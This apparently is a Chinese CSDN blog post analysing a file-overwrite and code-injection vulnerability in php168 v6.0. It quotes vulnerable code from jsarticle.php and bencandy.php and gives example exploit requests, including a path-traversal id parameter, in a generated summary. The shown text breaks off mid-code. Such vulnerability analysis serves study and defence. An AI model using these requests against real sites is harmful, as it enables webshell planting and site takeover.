php168 shell,php168 v6.0拿shell漏洞

最新推荐文章于 2024-08-07 23:40:42 发布

芒果绵绵冰

最新推荐文章于 2024-08-07 23:40:42 发布

阅读量220

点赞数

PHP 文件操作安全漏洞代码注入路径遍历

关键词由CSDN通过智能技术生成

该博客文章详细分析了两个PHP文件`jsarticle.php`和`bencandy.php`中存在的安全漏洞。通过不当的文件操作和条件判断，攻击者可以利用这些漏洞覆盖指定目录下的PHP文件内容，进而注入恶意代码。文章提到了利用方式，例如通过`do/jsarticle.php?type=like&id=xhming/../../../../inc/foot`和`do/bencandy.php?fid=4&id=582&content=cache/bencandy_cache/0/582_1.php`等请求进行攻击。建议加强文件操作的安全性，过滤输入参数，防止代码注入。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

两步第一 do/下jsarticle.php文件

if(!eregi("^(hot|com|new|lastview|like|pic)$",$type)){

die("类型有误");

}

$FileName=dirname(__FILE__)."/../cache/jsarticle_cache/";

if($type==’like’){

$FileName.=floor($id/3000)."/";

}else{

unset($id);

}

$FileName.="{$type}_{$fid}_{$id}.php";

..................

if(!is_dir(dirname($FileName))){

makepath(dirname($FileName));

}

if( (time()-filemtime($FileName))>($webdb["cache_time_$type"]*60) ){

write_file($FileName,"");

//write_file上面覆盖任意php文件！因为id没过滤

}

第二 do/bencandy.php文件

require_once(dirname(__FILE__)."/"."global.php");

!$aid && $aid = intval($id);

$id = $aid;

$page<1 && $page=1;

$min=intval($page)-1;

$erp=$Fid_db[iftable][$fid]?$Fid_db[iftable][$fid]:’’;

$rsdb=$db->get_one("Select R.*,A.* FROM {$pre}article$erp A LEFT JOIN {$pre}reply$erp R ON A.aid=R.aid Where A.aid=$aid orDER BY R.topic DESC,R.orderid ASC LIMIT $min,1");

if(!$rsdb){

showerr("数据不存在!");

}elseif($fid!=$rsdb[fid]){

showerr("FID有误");

}

........................

$Cache_FileName=PHP168_PATH."cache/bencandy_cache/".floor($id/3000)."/{$id}_{$page}.php";

if(!$jobs&&$webdb[bencandy_cache_time]&&(time()-filemtime($Cache_FileName))echo read_file($Cache_FileName);

exit;

}

..................................

if(!$jobs&&$webdb[bencandy_cache_time]&&(time()-filemtime($Cache_FileName))>($webdb[bencandy_cache_time]*60)){